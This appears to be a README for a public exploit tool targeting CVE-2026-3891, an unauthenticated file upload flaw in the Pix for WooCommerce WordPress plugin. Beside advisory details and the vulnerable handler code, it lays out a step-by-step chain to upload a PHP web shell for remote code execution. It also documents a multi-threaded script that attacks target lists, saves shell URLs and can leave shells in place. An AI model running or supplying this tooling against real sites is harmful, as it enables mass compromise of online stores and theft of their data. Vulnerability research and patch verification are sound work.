
Pix for WooCommerce Unauthenticated File Upload via certificate_crt_path Parameter | CVSS 9.8
CVE-2026-3891 is a critical-severity (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in the Pix for WooCommerce WordPress plugin (by linknacional) versions ≤ 1.5.0.
The lkn_pix_for_woocommerce_c6_save_settings AJAX handler has:
certificate_crt_path parameterlkn_pix_for_woocommerce_generate_nonce endpoint without authenticationUploaded files land in the web-accessible directory /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/.
| Version | Status |
|---|---|
| ≤ 1.5.0 | Vulnerable |
| 1.6.0+ | Patched |
Discovered by: Alexis Lafontaine via Wordfence (March 13, 2026)
// Nonce generated without auth
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
// Upload handler — no capability check, no file type validation
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_c6_save_settings', ...);
function c6_save_settings() {
// No current_user_can() check
// No wp_check_filetype() call
move_uploaded_file($_FILES['certificate_crt_path']['tmp_name'], $dest);
}
1. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_generate_nonce
→ Get valid nonce (no auth needed)
2. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_c6_save_settings
→ Upload shell.php via certificate_crt_path field
3. GET /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/shell.php
→ RCE
git clone https://github.com/shinthink/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt
python cve_2026_3891.py -t target.com
python cve_2026_3891.py -f targets.txt -o shells.txt
python cve_2026_3891.py -t target.com --debug --no-cleanup
-t, --target Single target
-f, --file Target list
-o, --output Save RCE URLs
--threads Workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every request
-v, --verbose Verbose output
FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY. The authors assume no liability for misuse.
| Resource | Link |
|---|---|
| Wordfence Advisory | wordfence.com |
| NVD Entry | CVE-2026-3891 |
| Researcher | Alexis Lafontaine |
Not affiliated with linknacional or Pix for WooCommerce.